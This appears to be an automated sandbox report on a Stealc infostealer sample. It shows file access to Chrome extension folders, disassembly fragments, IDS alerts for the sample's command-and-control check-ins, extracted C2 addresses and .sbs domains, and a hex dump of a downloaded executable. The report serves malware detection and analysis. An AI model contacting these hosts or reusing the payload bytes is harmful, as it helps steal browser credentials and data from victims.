Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	11_2_00ABA0B9
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	11_2_00AB8051
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	11_2_00AA82E8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov word ptr [eax], cx	11_2_00AAA3BF
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	11_2_00AD43F8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	11_2_00ACE318
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	11_2_00AD45E8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	11_2_00AC8528
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	11_2_00ABA687
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00AD2601
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, ebx	11_2_00AA264D
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov word ptr [eax], cx	11_2_00AB665F
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	11_2_00AD07F8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	11_2_00AD68A8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	11_2_00AAC89C
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov byte ptr [edi], al	11_2_00AC0813
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	11_2_00AAA86A
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp dword ptr [0044FDB4h]	11_2_00AA2849
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp eax	11_2_00A9E9A5
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	11_2_00A92928
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	11_2_00AC093D
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp eax	11_2_00A9E914
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	11_2_00A9EAC6
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	11_2_00AB4AD8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	11_2_00AD6A38
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	11_2_00AAAA47
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00AD6BB8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	11_2_00AD6BB8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov byte ptr [edi], al	11_2_00AC0B22
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	11_2_00ACCB36
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	11_2_00A9CB78
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov byte ptr [edi], al	11_2_00AC0B43
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	11_2_00ABAC81
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	11_2_00A98D88
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov word ptr [eax], cx	11_2_00AB4D38
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	11_2_00A9ED6B
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00AB2D48
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp ecx	11_2_00AD2EAE
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov word ptr [edx], 0000h	11_2_00AACEB7
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	11_2_00AD4E98
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00AD4E98
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp eax	11_2_00AB6EC4
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00ACCE48
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	11_2_00ABCF30
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	11_2_00AC0F18
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	11_2_00AC0F18
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	11_2_00AD0F18
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp ecx	11_2_00AD2F6C
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	11_2_00AA0F6F
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov ebp, eax	11_2_00A971D8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov word ptr [eax], dx	11_2_00AAF138
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov word ptr [esi], ax	11_2_00AAF138
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	11_2_00ABF2B8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	11_2_00AD3290
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	11_2_00AB93AF
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	11_2_00AD3390
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	11_2_00AA340E
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	11_2_00A95468
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	11_2_00ABB56A
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov word ptr [eax], dx	11_2_00AAF540
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	11_2_00AD36C7
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	11_2_00AB5824
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	11_2_00AD3833
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	11_2_00A91878
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	11_2_00AD1918
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	11_2_00ABDA58
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	11_2_00AB9BA8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00AB9BA8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	11_2_00AB9BA8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	11_2_00ABBB20
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov word ptr [edx], ax	11_2_00AB7B69
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp eax	11_2_00AB7B48
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	11_2_00AA3CBA
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp eax	11_2_00AB5C1B
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00AD5C62
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	11_2_00A9DDC4
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov edi, ecx	11_2_00AA1D02
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	11_2_00A93D78
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	11_2_00A8DED8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	11_2_00AA3E69
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then jmp ecx	11_2_00A95FB0
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00A99FE8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00A99FE8
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	11_2_00ABFFD5
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then dec ebx	11_2_00ACBF08
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	11_2_00ABFF74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_0040D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_0040D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	12_2_004463B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00445700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	12_2_0044695B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	12_2_0040FCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	12_2_00410EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	12_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	12_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	12_2_00416F91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then dec ebx	12_2_0043F030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	12_2_00446094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	12_2_0042D1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	12_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	12_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	12_2_004142FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, eax	12_2_0040A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	12_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	12_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	12_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	12_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	12_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	12_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	12_2_00441440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_0041D457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	12_2_0042C470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	12_2_0042E40C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	12_2_0041B410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	12_2_004464B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_00429510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	12_2_00447520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	12_2_00416536
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	12_2_00408590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	12_2_0043B650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	12_2_0042E66A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	12_2_00447710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	12_2_004467EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	12_2_0042D7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	12_2_004228E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	12_2_0041D961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	12_2_00443920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	12_2_004499D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	12_2_004049A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	12_2_00444A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	12_2_00405A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	12_2_00411A3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	12_2_00411ACD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	12_2_00449B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	12_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	12_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	12_2_00413BE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	12_2_00411BEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	12_2_00430B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	12_2_0042EC48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	12_2_00427C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	12_2_0043FC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	12_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	12_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00449CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	12_2_00449CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	12_2_0042AC91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], ax	12_2_0042AC91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	12_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	12_2_0042DD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00448D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	12_2_0042AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_00427E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00425E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov edi, ecx	12_2_00414E2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	12_2_00411E93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	12_2_00406EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	12_2_0040BEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	12_2_00416EBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	12_2_00429F62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_0043FF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	12_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	12_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	12_2_00408FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	12_2_00445FD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], 0000h	12_2_0041FFDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	12_2_00416F91

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.7:49718
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.7:49718
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49718 -> 46.8.231.109:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 17:33:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 